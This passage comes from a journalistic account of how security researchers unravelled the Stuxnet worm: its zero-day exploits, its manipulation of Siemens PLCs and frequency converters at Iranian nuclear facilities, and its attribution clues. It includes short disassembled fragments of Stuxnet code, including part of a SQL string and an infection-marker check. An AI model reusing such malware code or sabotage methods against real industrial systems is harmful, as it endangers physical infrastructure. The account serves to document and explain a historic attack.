                     unicode 0, <use [?];declare @t nvarchar(2000);declare @s nvarchar(9);>
                     unicode 0, <set @s=>
                     dw 27h
                     dw 27h
                     dw 27h
                     dw 27h
                     dw 27h
                     dw 27h
                     dw 27h
                     dw 27h
                     unicode 0, <--CC-S>
                     dw 27h
                     dw 27h
                     dw 27h
                     dw 27h
                     dw 27h
                     dw 27h
                     dw 27h
                     dw 27h
                     unicode 0, <+char(80);if left(db_name(),2)=>
                     dw 27h
                     dw 27h
                     dw 27h
                     dw 27h
                     dw 27h
                     dw 27h
                     dw 27h
                     dw 27h
    
[/code]

It was a Friday night in late August, and O Murchu was celebrating his 33rd
birthday at an open-air bar atop Hotel Erwin overlooking the Pacific Ocean in
Venice, California. He was tipping back beer and cocktails with family and
friends. Nearby, a reality TV crew was filming a couple going through the
awkward motions of a “private” date.

O Murchu’s group had been there three hours when Chien showed up around 9 p.m.
His mind wasn’t on partying though. He had something to show his friend, but
he was reluctant to bring up work.

“I’ll show you this one thing, but then we’re not going to talk about it the
rest of the night,” he told O Murchu. He pulled out his BlackBerry and brought
up an e-mail that had just crossed a computer security list. In the mail,
another security researcher was suggesting that there were more zero-days
hidden in Stuxnet.

O Murchu looked at Chien. They’d been tearing at Stuxnet for more than a month
and had seen hints of other exploits in it, but confirmation had eluded them.
The e-mail was vague on details, but the mere suggestion that there might be
more zero days within his grasp was enough to spark O Murchu’s competitive
spirit.

“That’s it,” he said. “I’m not drinking any more tonight.”

Early the next morning, a Saturday, he was back in the office digging through
the code, focusing on the part that Stuxnet used to spread itself, and testing
and documenting his findings. He came up for air midafternoon and passed his
notes to Chien, who continued working through the evening. By the end of the
weekend, they’d uncovered an astonishing three more zero-days.

In addition to the LNK vulnerability, Stuxnet exploited a print spooler
vulnerability in Windows computers to spread across machines that used a
shared printer. The third and fourth exploits attacked vulnerabilities in a
Windows keyboard file and Task Scheduler file to escalate the attackers’
privileges on a machine and give them full control of it. Additionally,
Stuxnet exploited a static password that Siemens had hard-coded into its Step7
software. Stuxnet used the password to gain access to and infect a server
hosting a database used with Step7 and from there infect other machines
connected to the server.

The attackers were ruthlessly intent on spreading their malware, but in a
strangely limited way. Unlike most malware that used e-mail or malicious
websites to infect masses of victims at once, none of Stuxnet’s exploits
leveraged the internet; they all spread via local area networks. There was one
primary way Stuxnet would spread from one facility to another, and that was on
an infected USB thumb drive smuggled into the facility in someone’s pocket.

It appeared the attackers were targeting systems they knew were not connected
to the internet. And given that they were using four zero-days to do it, the
targets had to be high-value.

It was a messy and imprecise method of attack — a little like infecting one of
Osama bin Laden’s wives with a rare virus, hoping she’d pass it to the Al
Qaeda leader. It was bound to infect others beyond the target, increasing the
chance that the plot would be discovered.

This is exactly what happened with Stuxnet. The Symantec researchers
discovered that every sample of the worm contained the domain name and time
stamp of every system it infected. This allowed them to trace every infection
back to the original infected computer from which it started. They discovered
that the attackers had focused their attack on computers at five organizations
in Iran that they believed would be gateways to the target they were seeking.
The five organizations were hit repeatedly in separate infections in June and
July 2009 and again in March, April and May 2010. But due to the zero-day
exploits in it, Stuxnet spread beyond these organizations, leaving a
constellation of infections in its wake.

Symantec reported the additional zero-days it had found in the code to
Microsoft and other AV firms, who searched their malware archives to see if
anything similar to the exploits had appeared before.

Remarkably, they discovered that a LNK exploit attacking the same
vulnerability in Windows Explorer had appeared in November 2008. It was used
to spread a variant of Zlob, a family of Trojan horses that installed adware
and malicious backdoors on infected computers. The Zlob variant had been
picked up by AV firms via automated malware reporting systems from customer
machines, but the zero-day exploit in it had gone unnoticed at the time. After
its inaugural appearance, the exploit disappeared until reappearing in
Stuxnet.

The exploit for the print spooler vulnerability had also previously been
disclosed. In April 2009, a Polish security magazine published an article
detailing the vulnerability and even provided source code for a working
exploit to remotely attack it. Microsoft had never known about it, however,
and thus never patched it.

Even the hard-coded Siemens database password had been previously exposed. In
April 2008, someone using the name “Cyber” had posted it online to German and
Russian technical forums devoted to Siemens products.

Had Stuxnet’s authors, or someone working with them, seen the LNK exploit in
2008 and collected it for use in their attack, hoping Microsoft would never
patch it? Or had they purchased it from Zlob’s authors \(believed to be East
European criminal hackers\) on the exploit black market, where zero-days can
sell for as high as $50,000 to $500,000? Had they found the other
vulnerabilities the same way?

<img src='img/Temp2_3987.gif' />

<img src='img/Temp2_4000.gif' width='480' />

Representation of a P-1 centrifuge, upon which the centrifuges at Natanz are
based. The red arrows show the spinning rotors that Stuxnet aimed to sabotage.
_\(Drawing: Institute for Science and International Security\)_

The Symantec office in Culver City is a large, airy building, with a high-
ceilinged atrium that looks like something out of The Island. Heels clink on
large opaque floor tiles as visitors walk on them, part of a raised-floor
design that hides power and ventilation systems beneath. The 497,000 square-
foot building is Leed-certified, with external walls made mostly of glass to
give nearly all occupants a view. Or, what passes for a view in this drab
neighborhood near the Los Angeles International airport.

The Threat Intelligence Team lives behind three successive locked security
doors in a stark room with empty cubicles and large display windows that
overlook a grassy tree-covered hill, the kind that business parks build to
simulate nature. There are no plants in the room, no pictures on walls, no
sign of goofy office games that workers play to blow off steam. There’s no
internet access here either, just Symantec’s isolated “red” network — where
researchers let malware loose to observe the havoc it wreaks. No removable
media is allowed out of this room, to avoid propagating the malware to
Symantec’s business network and the internet.

Working in the cyber-equivalent of a biodefense lab is fraught with
complications. When investigating aspects of Stuxnet online, Chien and O
Murchu had to go to a server closet outside the office, where they had laptops
plugged into the internet.

In the first weeks after Stuxnet was discovered, Chien and O Murchu had
unraveled its infection methods, but they still didn’t know why it was
created, or what it did other than spread. Those secrets were buried in its
complicated payload. The task of reverse-engineering this part of the code
fell to Nicolas Falliere, a 28-year-old Frenchman.

“That was the point when Stuxnet got our attention. We thought, okay, now this
is going to get interesting.” – Ralph Langner

Falliere is somewhat shy and soft-spoken and looks like he should be DJing
trance music in an underground Paris dance club rather than poring over reams
of printed code during a commute on the Metro. Chien hired him straight out of
college in 2006. He specializes in deep-dive analysis of threats, and honed
his reverse-engineering skills as a teenager breaking Crackme files — code
games that programmers write for each other to test their reverse-engineering
skills.

Falliere determined that Stuxnet had three main parts and 15 components, all
wrapped together in layers of encryption like Russian nesting dolls. Stuxnet
decrypted and extracted each component as needed, depending on the conditions
it found on an infected machine.

In addition to these, Stuxnet also had an extensive configuration file –
mdmcpq3.pnf — with a menu of more than 400 items the attackers could tweak to
control every aspect of the code, such as how long it should spread, and how
long each exploit should work. It was here the researchers found an end-date —
June 24, 2012. Each time Stuxnet would start to run on a machine, it would
check the date on the machine’s internal clock; if it was later than the date
in the configuration file, Stuxnet would shut down. Presumably this was the
time frame by which Stuxnet was expected to have achieved all of its goals.

The most important part of Stuxnet, however, was its malicious payload. If
Stuxnet determined that an infected system had Siemens Step7 software
installed, the malware decrypted and loaded a DLL file — a library of
functions — onto the machine. This DLL impersonated a legitimate DLL file —
s7otbxdx.dll — that served as a common repository for functions used by
different pieces of the Step7 software.

<img src='img/Temp2_3989.gif' width='660' height='248' />

Step7 has a nice, Windows-based interface for programming and monitoring a
device called a Programmable Logic Controller. PLCs are essentially small
computers, generally the size of a toaster, that control everything from
motors in packaging assembly lines to critical valves in gas pipelines. To
communicate with and program a PLC, plant workers plug their Step7 Windows
machines into the PLC and send commands to it or receive data reports.

This is where Stuxnet’s malicious DLL file came in. Falliere discovered that
it would intercept commands going from the Step7 software to the PLC and
replace them with its own malicious commands.

At the same time, another portion of Stuxnet disabled any automated alarms
that might go off in the system as a result of the malicious commands. It also
masked what was happening on the PLC by intercepting status reports sent from
the PLC to the Step7 machine, and stripping out any sign of the malicious
commands. Workers monitoring the PLC from the Step7 machine would then see
only legitimate commands on the device — like a Hollywood heist film where
jewelry thieves insert a looped video clip into a surveillance camera feed so
that guards watching monitors see only a benign image instead of a live feed
of the thieves in action.

The fact that Stuxnet was injecting commands into the PLC and masking that it
was doing so was evidence that it was designed, not for espionage as everyone
had believed, but for physical sabotage. The researchers were stunned. It was
the first time anyone had seen digital code in the wild being used to
physically destroy something in the real world. Hollywood had imagined such a
scenario years earlier in a Die Hard flick. Now reality had caught up with
fantasy.

“We were expecting something to be espionage, we were expecting something to
steal credit card numbers; that’s what we deal with every single day,” Chien
recalls. “But we weren’t expecting this.”

On Aug. 6, Symantec published a blog post saying that Stuxnet was a targeted
attack aimed at hijacking the Programmable Logic Controller in a Siemens
control system by injecting malicious code.

To illustrate the destructive capability of Stuxnet, the researchers
referenced an oft-cited 1982 CIA digital attack on the Siberian pipeline that
resulted in an explosion a fifth the size of the atomic bomb detonated over
Hiroshima. According to the never-substantiated story, the United States
discovered that Russia was stealing data on United States technology. So the
CIA hatched a plot to insert a logic bomb into software that the agency knew
the Russians were purchasing from a Canadian firm to operate pumps and valves
on their natural gas pipeline. The equipment worked fine initially, but at a
preprogrammed point, it caused valves in the pipeline to malfunction, creating
a pressure buildup that exploded into a fireball so large it was captured by
orbiting satellites.

The evidence that Stuxnet was sabotaging a PLC was a huge breakthrough. But
there was one problem: None of the Symantec researchers knew enough about PLCs
to figure out what exactly Stuxnet was doing to them. PLCs used a unique
programming language, STL, that might as well have been Latin to antivirus
researchers versed in Windows programs and PC assembly language. On their
blog, they asked for anyone with knowledge of PLCs and STL to contact them.
But they got no response.

Two weeks after Symantec published its post, traffic from infected machines in
Iran suddenly stopped reporting to Symantec’s sinkhole. Iran had begun
blocking outbound connections from infected machines. Someone there didn’t
want anyone to know which machines in Iran were infected, or have an open
channel back to them through Stuxnet.

Chien expected that once they published their post, other researchers would
follow suit with more information. Generally, when they analyzed new malware,
their competitors were analyzing it simultaneously, and they would all race to
publish their findings first. The duplicate work served as an informal peer-
review to help verify the accuracy of each firm’s findings. But this time
there was no sign that any other researchers were seriously digging into the
code.

“We were talking about blowing stuff up\!” Chien recalled recently, still
amazed at what appeared to be a lack of interest. Instead there was what Chien
called “silence like crickets.”

<img src='img/Temp2_3995.gif' />

<img src='img/Temp2_3985.gif' width='1000' height='667' />

German computer security expert Ralph Langner was the first to assert that
Stuxnet was a precision weapon aimed at sabotaging Iran's nuclear program.
_\(Photo: David Ahntholz/Wired\)_

“We understood this is the biggest story in malware ever. It was the best work
that I have ever done.” – Ralph Langner

On the other side of the globe, a 52-year-old German named Ralph Langner was
reading Symantec’s post with fascination. Langner had little interest in
Windows systems or internet viruses — he doesn’t even have an internet
connection at home. But he specializes in the obscure science of industrial-
control-system security. It’s the only thing his three-man, boutique firm
does. So he was particularly intrigued when Symantec wrote that Stuxnet was
sabotaging PLCs.

“That was the point when Stuxnet got our attention,” Langner said. “We
thought, okay, now this is going to get interesting.”

Langner knew that thousands of Siemens customers had a potentially silent
killer on their system, and they were waiting for Symantec or Siemens to tell
them what Stuxnet was doing to their industrial controllers. But Siemens was,
incredibly, quiet on the matter. Despite saying in July that it had assembled
a team of experts to examine the malware, the company had been largely mum.

“If it is, after all, their controllers \[being targeted\], then it would be
Siemens’s duty to analyze this,” Langner said. Stuxnet was already available
on malware sites for anyone with malicious intent to download and tweak. In
the wrong hands, it could become a more widespread and dangerous attack
targeting other types of controllers in the United States and elsewhere.

Langner decided that he and his team would tackle Stuxnet themselves.

Langner’s computer knowledge was self-taught, but his mastery of Siemens’s
products was so extensive, he and his fellow engineers, Ralf Rosen and Andreas
Tim, sometimes trained Siemens employees on their own products. “There are
probably only a handful of Siemens employees who know this stuff better than
we do,” Langner said.

The three of them huddled around a panel of monitors in their small office,
talking through theories and testing hypotheses about what the code might be
doing. They also closely studied the configuration in which Stuxnet operated:
What device was the code talking to and was there more than one? Were the
devices coupled in a distinct way?

It took three weeks to reach a startling conclusion — Stuxnet wasn’t just
aimed at attacking a specific type of Siemens controller, it was a precision
weapon bent on sabotaging a specific facility.

Embedded in Stuxnet’s code was a dossier detailing the specific technical
configuration of the facility it sought. Any system that didn’t match
precisely this configuration would go unharmed: Stuxnet would shut itself down
and move on to the next system until it found its victim. It was clear to
Langner that Stuxnet was the product of a well-resourced government with
precise inside knowledge of the target it was seeking.

“I was expecting some dumb DoS type of attack against any Siemens PLC,”
Langner later recalled. “So this was absolutely freaking. To see that somebody
built such sophisticated piece of malware — using four zero-day
vulnerabilities, using two stolen certificates — to attack one single
installation? That’s unbelievable.”

Although the exact facility in Stuxnet’s sights wasn’t spelled out, Langner
had no doubts. “This is about taking out Bushehr,” he announced to Rosen and
Tim one day, referring to a nuclear power plant in Iran that had been
scheduled to begin operation in August 2010 but had been delayed. Langner’s
colleagues stared at him dumbfounded. They weren’t eager to follow him down a
path of state-sponsored cyberwarfare that seemed likely to lead to Israel and
the United States, and possibly even Germany, as the suspected aggressors
behind Stuxnet.

Langner called a German client of his, who works for a top maker of uranium-
enrichment equipment.

“I have one question for you,” Langner said to him. “Is it possible to destroy
a centrifuge just by manipulating the controller code?”

“I can’t tell you that, Ralph, it’s classified information,” the man replied.

Langner was certain he was on the right track. He published a blog post on
Sept. 16 boldly asserting that Stuxnet was a targeted attack against Bushehr,
and issued press releases to German and international media outlets.

“There was silence all around us,” Langner later recalled. “Everybody was
thinking, This guy is nuts. We always knew that Ralph is an idiot, and now we
have the proof for it.”

Frank Rieger, chief technology officer at German security firm GSMK, agreed
with Langner’s assertion that Stuxnet was a targeted attack, but thought a
different nuclear facility in Iran made more sense as the target. Natanz, he
noted in an online post, was already enriching uranium and presented a greater
risk for producing nuclear weapons.

He also noted that in July 2009 — a month after Stuxnet is believed to have
been launched — the secret-spilling site WikiLeaks made an intriguing
announcement. WikiLeaks said that an anonymous source claimed that a “serious”
nuclear incident had recently occurred at Natanz. The site also pointed out
that the head of Iran’s Atomic Energy Organization had recently resigned for
unknown reasons.

<img src='img/Temp2_3997.gif' width='660' height='660' />

Satellite image of the Natanz enrichment plant in Iran, taken in Sept. 2010,
three months after Stuxnet was first discovered on a computer in Iran.
_\(Photo: GeoEye - ISIS\)_

Langner contacted Joe Weiss, an industrial-control-system expert in the United
States, to discuss what his team had found. Langner and Weiss share a frank
and confrontational style that doesn’t always endear them to their peers.
People in the industry tend to sigh at the mention of their names. But nobody
doubts their expertise.

Both men had been warning for years that industrial controllers were ripe for
attack, but few took them seriously. Because the systems were obscure and
proprietary, and were designed to run on isolated, standalone networks,
vendors and network administrators believed that hackers had neither the
knowledge nor ability to breach them. But in recent years, the systems had
increasingly become connected to the internet or networked with other systems
that were online, making them an open and attractive target.

Weiss hosts an annual closed-door security conference for about 100 industrial
control professionals, and Langner was scheduled to speak at the gathering in
two weeks on another topic. He asked Weiss if he could speak about Stuxnet
instead. “I told him, I don’t know whether to tell you yes or hell yes,” Weiss
recalls.

He gave Langner 45 minutes. Langer ended up taking an hour and a half. “All of
us were sitting with our mouths open while he was talking,” Weiss recalls. “He
used two blocks of time, but I wasn’t about to stop him.

“The takeaway from Ralph’s talk was that if there is a sophisticated attack,
we in the control systems world will be totally clueless because we will never
see it,” Weiss later said. “We have no way of knowing if a controller is
infected or not.”

Langner went public with his discoveries in a series of blog posts. “With the
forensics we now have it is evident and provable that Stuxnet is a directed
sabotage attack involving heavy insider knowledge,” he wrote. “Here is what
everybody needs to know right now.”

What followed was a technical road map explaining the precise steps Stuxnet
took to intercept and inject commands into the PLC, along with a checklist of
immediate steps administrators could take to help secure them. More posts
followed as Langner’s team made additional discoveries about what Stuxnet was
doing to the PLCs. His web site was besieged with traffic from around the
world, including from United States government domains. Langner was performing
a huge public service to help protect critical infrastructures. But he was
also potentially destroying a critical covert mission.

<img src='img/Temp2_3995.gif' />

<img src='img/Temp2_3998.gif' width='1000' height='667' />

The task of reverse-engineering Stuxnet's complex payload fell to Nicolas
Falliere in Symantec's Paris office. _\(Photo: Jon Snyder/Wired\)_

Back at Symantec, Chien and colleagues were taking a crash course in
Programmable Logic Controllers. It was clear that Stuxnet was doing something
nasty to the PLCs it was targeting, but they still had no idea what. So the
researchers bought some books online about STL — the language Stuxnet used to
communicate with the PLC — and began studying.

By now, the three Symantec researchers were working on Stuxnet exclusively —
Chien and O Murchu in California, Falliere in Paris. Chien would go to bed
nightly with his BlackBerry and laptop; analyzing code, googling clues and
sending e-mail to Falliere who would just be arriving to work in Paris. Chien
would wake around 5 a.m., sometimes with ideas swirling in his head, and
immediately reach for his BlackBerry to text Falliere for an update and
suggest paths of further inquiry.

Usually, Symantec would spend a couple of days at most analyzing a piece of
malware; but they’d already been digging through Stuxnet more than a month,
and had cracked only a portion of it. “I just kept thinking that this thing
could last forever, that years from now we’re going to discover, here’s this
other little byte \[we forgot\],” Chien recalled.

Chien is 37 but looks a decade younger. He has a thin, angular frame and the
broad, engaging smile of someone who doesn’t try to play cool by hiding his
enthusiasm. He talks in rapid-fire bursts as he recounts the ride Stuxnet gave
them. Many security pros hype their skills and experience to stand out among
competitors, but Chien laughs repeatedly at how ill-prepared they were to
tackle Stuxnet, and how desperate and blind were many of their attempts to
wrestle the code.

Chien fell into antivirus by chance. He studied electrical engineering,
genetics and molecular biology at UCLA and planned a career in science. But
after graduating in 1996, he followed a few friends to Symantec, which was
just dipping a toe into cybersecurity after buying antivirus giant Norton.

Back then, cybersecurity was still a nascent field, and it was fairly easy to
get a job in it without any training. Chien taught himself what he needed to
know and joined a small group at Symantec analyzing viruses and writing
definitions. They didn’t have much to do, though. The internet and e-mail were
just catching on, and MS-DOS viruses — the only kind around at the time — were
rare, and spread slowly via floppy disks.

Customers who thought they were infected would mail a floppy disk with a
suspect file to Symantec, where it might sit in a desk tray a week before
Chien or colleagues wandered by and picked it up. Most of the time, the file
turned out to be nothing. But occasionally, when they found a virus, they’d
write a few signatures to detect it, throw them onto a floppy disk, and mail
it back to the customer. It was sneakerware antivirus protection.

Malware, of course, had evolved since then. Microsoft’s ubiquitous programs
spawned macro and polymorphic viruses, followed by the internet, which brought
fast-spreading e-mail viruses and network worms that propagated to millions
instantly. Regardless of the nature of the malware, for nearly a decade the
motivations of malware writers remained the same — fame and glory. A typical
payload included a shout-out to the hacker’s friends.

Things changed as e-commerce took hold, and hackers began to focus on
financial gain for their payloads — stealing credit card data, online banking
credentials and corporate secrets. More recently, attacks have evolved to so-
called advanced persistent threats — where attackers, some state-sponsored,
patiently worked their way deep into a network and sat there months or years
silently siphoning national secrets, source code and other sensitive data.

Stuxnet was different from all of these. It wasn’t an evolution in malware,
but a revolution. The idea that someone would create such a sophisticated worm
to slither blindly through networks in search of a single target was “leaps
and bounds” beyond what the Symantec researchers had expected. “I could work
in this industry for another twenty years and never see another project like
this,” O Murchu said recently.

“We were expecting something to be espionage, we were expecting something to
steal credit card numbers…. But we weren’t expecting this.” – Eric Chien

By the end of September, Symantec was slowly building a profile of Stuxnet’s
target.

Falliere had reverse-engineered the code that Stuxnet was injecting into the
PLC and knew the malware was resetting the value of something connected to the
device, but he had no idea what was on the receiving end of these commands or
what the changed values would do. It was like watching tracer bullets fly
through the night sky without seeing what they hit.

They had already discovered that the specific system Stuxnet targeted used the
Profibus standard to communicate. They also noticed that the virus searched
for a specific value — 2C CB 00 01 — before deciding to attack its target PLC.
They had a hunch this might be some kind of ID the Step7 system assigned to a
hardware part, so they set up a simulated Step7 PLC environment, and began
plugging in parts. The reference value finally popped up when they attached a
Profibus network card.

But there were two numbers Stuxnet sought that were still a mystery — 9500h
and 7050h. Neither showed up when they plugged in hardware parts to their
simulated system, nor did Google searches on the numbers produce anything.

Then a breakthrough came in November 2010.

The researchers had put out a request on their blog asking for anyone with
experience in Profibus and critical infrastructures to contact them, and a
Dutch programmer named Rob Hulsebos wrote back. Most of his e-mail discussed
information the researchers already knew, but one line stood out. Every
Profibus component had to have a unique ID that was a word long, Hulsebos
wrote. It suddenly occurred to Chien that the two mystery numbers were
manufacturer IDs.

He and O Murchu searched online for Profibus documentation and found a PDF
with a list of specs for devices used with Profibus network cards. At the
bottom of the list were the two mystery numbers Stuxnet sought. They were
product IDs for two types of frequency converters made in Finland and Iran.
The first, 9500h, referred to Vacon NX frequency converters made by Vacon in
Finland, and the second, 7050h, referred to an unspecified frequency converter
made by Fararo Paya in Iran.

Frequency converters modulate the speed of motors and rotors in things like
high-speed drills that are used to cut metal parts in factories and in paper
mills to force pulp through a grate. Increase the frequency of the drive, and
the rotor increases its spin. In the Profibus documentation the researchers
found online, they discovered a list of commands to control frequencies; they
matched exactly the commands that were written in Stuxnet.

“The STL code \[in Stuxnet\] was sending down things like ‘word 47F and 1′,”
Chien recalls. “And you look at the frequency converter \[manual\], and it
says, ‘To start the frequency converter, send down the word 47F and set this
value to 1. We were speechless.”

Based on information in the code, Stuxnet was targeting a facility that had 33
or more of the frequency converter drives installed, all operating at between
807Hz and 1,210Hz.

<img src='img/Temp2_3999.gif' width='660' height='495' />

Stuxnet searches for a facility that has a minimum of 33 frequency converters
installed. _\(Graphic: Symantec\)_

The malware would sit quietly on the system doing reconnaissance for about two
weeks, then launch its attack swiftly and quietly, increasing the frequency of
the converters to 1,410Hz for 15 minutes, before restoring them to a normal
frequency of 1,064Hz. The frequency would remain at this level for 27 days,
before Stuxnet would kick in again and drop the frequency down to 2Hz for 50
minutes.

The drives would remain untouched for another 27 days, before Stuxnet would
attack again with the same sequence. The extreme range of frequencies
suggested Stuxnet was trying to destroy whatever was on the other end of the
converters.

Chien did a search online and discovered that frequency converters that
operated at 600Hz and above were regulated for export in the United States by
the Nuclear Regulatory Commission.

“We realized, wait a second, these things, at this frequency, could be used
for uranium enrichment,” Chien recalls. Langner had gone out on a limb in
asserting that Stuxnet was targeting centrifuges at a nuclear plant, but now
Symantec had strong evidence to back it up.

At this point, Chien says, “We were not immune to the fact that there was a
bigger geopolitical picture going on. We were definitely thinking … do I
really want my name to be put on this \[work\]?”

All along, as they’d reached significant milestones in their research, they’d
discussed whether they should release information anonymously or even withhold
some of it entirely. But in the end, they’d always fallen on the side of
disclosure, thinking the more information people had, the better they’d be
able to protect themselves against this and copycat attacks that were bound to
follow.

Remarkably, none of the company’s executives ever tried to halt their work on
Stuxnet or censor anything they released. “Even to this day, we haven’t
brought in lawyers,” Chien said. The company, took the view that “it’s a
threat, it’s affecting people, we gotta look at it. I think that’s the bottom
line for us, no matter what it is,” he said.

There was one point, however, that O Murchu said they might have censored
their information had they reached it. “If it had got to the point where we
had found 100 percent attribution who was behind it, I think we would have had
some really serious conversations about \[publishing\] that,” he said.

In fact, Symantec made a couple of controversial forays into attribution. The
first concerned an infection marker the researchers found in Stuxnet. When
Stuxnet first infected a system, before installing its malicious files, it
checked the Windows registry for the number 19790509. If the number was there,
Stuxnet passed over the system and didn’t infect it — like lamb’s blood
marking the door frames of Jewish homes in ancient Egypt to ward off the Death
of the Firstborn plague.

The technique wasn’t new. Symantec had seen so-called “inoculation values” in
other malware. Attackers would place them in the registry keys of their own
computers to prevent their wildly spreading malware from infecting themselves.

But the researchers noticed that in this case the number resembled a date –
May 9, 1979 — and suggested it might refer to the day an Iranian Jewish
businessman named Habib Elghanian was executed by firing squad in Tehran. The
execution was significant in Jewish history because it ultimately launched a
mass exodus of Jews out of the Republic.

Then there was the word “myrtus” that appeared in a file path the attackers
had left in one of Stuxnet’s drivers. The path —
b:\myrtus\src\objfre\_w2k\_x86\:386\guava.pdb — showed where Stuxnet’s
developers had stored the file on their own computers while it was being
created. It’s not unusual for developers to forget to delete such clues before
launching their malware.

In this case, the names “guava” and “myrtus” suggested possible clues for
identifying Stuxnet’s authors. Myrtus is the genus of a family of plants that
includes the guava, so it was possible the attackers had a love of botany. Or
Myrtus could conceivably mean MyRTUs — RTUs, or remote terminal units, operate
similarly to PLCs. Symantec mentioned both of these but also pointed out that
myrtus might be a sly reference to Queen Esther, the Jewish Purim queen, who,
according to texts written in the 4th century B.C.E., saved Persian Jews from
massacre. Esther’s Hebrew name was Hadassah, which refers to myrtle.

Suspicions of course were growing that Israel and the U.S. were behind Stuxnet
and had used the malware as a devious alternative to bombing Iran’s nuclear
plant.

It should have been no surprise to the researchers, then, when their work drew
the attention of government agencies in and outside the United States, that
began asking for briefings on their findings. Symantec put together a
PowerPoint presentation for the Department of Homeland Security, Defense
Department, Department of Energy and FBI to answer their questions. “I joke
that they already had all the answers,” Chien said. Asked if anyone from the
NSA or CIA attended the PowerPoint sessions, he smiled. “If we ever did brief
the NSA, we wouldn’t know, right?”

The political ramifications of their work took on even starker dimensions
when, two weeks after they published their findings on the frequency
converters, assassins on motorbikes attacked two Iranian nuclear scientists
simultaneously in Tehran. The men were commuting to work on a Monday morning
in separate parts of the city when the assassins zipped by their cars and
attached bombs to them. Majid Shahriari, the top scientist and senior manager
of Iran’s nuclear program, was killed. Fereydoun Abassi, a specialist with
expertise in separating isotopes, crucial for making uranium fuel, was
injured. Iran accused Israel’s Mossad spy agency of being behind the attacks.

Although the researchers didn’t really believe their lives were at risk for
exposing Stuxnet, they laughed nervously as they recalled the paranoia and
dark humor that crept into their conversations at the time. O Murchu began
noticing weird clicking noises on his phone, and one Friday told Chien and
Falliere, “If I turn up dead and I committed suicide on Monday, I just want to
tell you guys, I’m not suicidal.”

The day news of the assassination plots broke, Chien joked to his colleagues
that if a motorcycle ever pulled alongside his car, he’d take out the driver
with a quick swerve of his wheels. When he left work that day and stopped at
the first intersection, he was shaken — just for a moment — as he glanced in
the rear-view mirror and saw a motorcycle pull up behind him.

[code]

     sub_100F1C10    proc near               ; CODE XREF: sub_100CA84E+13p
                                             ; sub_100F0E65+35p
                     mov     eax, 10050413h
                     call    sub_10108794
                     sub     esp, 3Ch
                     push    ebx
                     push    esi
                     push    edi
                     mov     [ebp-10h], esp
                     xor     edi, edi
                     mov     [ebp-18h], edi
                     mov     [ebp-4], edi
                     push    10062C48h
                     lea     eax, [ebp-48h]
                     push    eax
                     call    sub_100BFA02
                     xor     ebx, ebx
                     inc     ebx
                     mov     [ebp-4], bl
                     push    edi
                     lea     eax, [ebp-48h]
                     push    eax
                     push    80000002h
                     xor     eax, eax
                     lea     esi, [ebp-2Ch]
                     call    sub_100E79CD
                     mov     byte ptr [ebp-4], 3
                     lea     eax, [ebp-48h]
                     push    eax
                     call    sub_100D8F5A
                     mov     [ebp-1Ch], edi
                     push    10062CC0h
                     lea     eax, [ebp-48h]
                     push    eax
                     call    sub_100BFA02
                     mov     byte ptr [ebp-4], 4
                     mov     [ebp-18h], ebx
                     lea     eax, [ebp-1Ch]
                     push    eax
                     lea     eax, [ebp-48h]
                     push    eax
                     mov     eax, esi
                     call    sub_100E7FEB
                     test    al, al
                     jz      short loc_100F1C97
                     cmp     dword ptr [ebp-1Ch], _19790509h_
                     mov     [ebp-11h], bl
                     jz      short loc_100F1C9B
    
     loc_100F1C97:                           ; CODE XREF: sub_100F1C10+79j
                     mov     byte ptr [ebp-11h], 0
    
     loc_100F1C9B:                           ; CODE XREF: sub_100F1C10+85j
                     mov     dword ptr [ebp-4], 3
                     mov     [ebp-18h], ebx
                     and     dword ptr [ebp-18h], 0FFFFFFFEh
                     lea     eax, [ebp-48h]
                     push    eax
                     call    sub_100D8F5A
                     cmp     byte ptr [ebp-11h], 0
                     jz      short loc_100F1CD6
                     push    2
                     push    1005AE18h
                     call    sub_100E02BB
                     pop     ecx
                     pop     ecx
                     mov     byte ptr [ebp-4], 0
                     lea     ecx, [ebp-2Ch]
                     call    sub_100E79F6
                     mov     al, bl
                     jmp     short loc_100F1CF6
    
[/code]

<img src='img/Temp2_4001.gif' alt='stuxnet_p7_a' />

[code]

                     db  52h ; R
                     db  53h ; S
                     db  44h ; D
                     db  53h ; S
                     db  87h ; ç
                     db  9Ah ; Ü
                     db  86h ; å
                     db 0DEh ; ¦
                     db 0D8h ; +
                     db  5Fh ; _
                     db 0D9h ; +
                     db  4Fh ; O
                     db 0B7h ; +
                     db 0B7h ; +
                     db  63h ; c
                     db  19h
                     db 0D7h ; +
                     db  47h ; G
                     db  86h ; å
                     db  28h ; (
                     db    1
                     db    0
                     db    0
                     db    0
    _db  62h ; b
                     db  3Ah ; :
                     db  5Ch ; \
                     db  6Dh ; m
                     db  79h ; y
                     db  72h ; r
                     db  74h ; t
                     db  75h ; u
                     db  73h ; s
                     db  5Ch ; \
                     db  73h ; s
                     db  72h ; r
                     db  63h ; c
                     db  5Ch ; \
                     db  6Fh ; o
                     db  62h ; b
                     db  6Ah ; j
                     db  66h ; f
                     db  72h ; r
                     db  65h ; e
                     db  5Fh ; _
                     db  77h ; w
                     db  32h ; 2
                     db  6Bh ; k
                     db  5Fh ; _
                     db  78h ; x
                     db  38h ; 8
                     db  36h ; 6
                     db  5Ch ; \
                     db  69h ; i
                     db  33h ; 3
                     db  38h ; 8
                     db  36h ; 6
                     db  5Ch ; \
                     db  67h ; g
                     db  75h ; u
                     db  61h ; a
                     db  76h ; v
                     db  61h ; a
                     db  2Eh ; .
                     db  70h ; p
                     db  64h ; d
                     db  62h ; b
                     db    0_
                     db    0
                     db    0
                     db    0
                     db    0
                     db    0
                     db    0
                     db    0
                     db    0
                     db    0
                     db    0
                     db    0
                     db    0
     unk_11DD0       db  30h ; 0             ; DATA XREF:
                     db  18h
                     db    0
                     db    0
                     db  1Ch
                     db  1Ah
                     db    0
                     db    0
    
[/code]

<img src='img/Temp2_3994.gif' />

<img src='img/Temp2_3990.gif' width='450' height='302' />

Iranian President Mahmoud Ahmadinejad during a tour of centrifuges at Natanz
in 2008. _\(Photo: Office of the Presidency of the Islamic Republic of Iran\)_

The evidence that Langner and Symantec uncovered about Stuxnet provided a
compelling case that the malware had been aimed at Iran’s nuclear program. But
other than the excessive number of centrifuges that technicians were spotted
removing from Natanz in early 2010, there was little proof that Natanz was its
specific target or that the malware was indeed responsible for damaging the
centrifuges that were removed.

Iran’s only statement on the malware had indicated that Stuxnet had infected
personal computers belonging to workers at Bushehr, but that computers
operating this or its other nuclear facilities were unaffected.

Then, on Nov. 23, Ali Akbar Salehi, head of Iran’s Atomic Energy Organization,
provided what appeared to be the first acknowledgement that the worm had hit
Iran’s nuclear facilities. “One year and several months ago, Westerners sent a
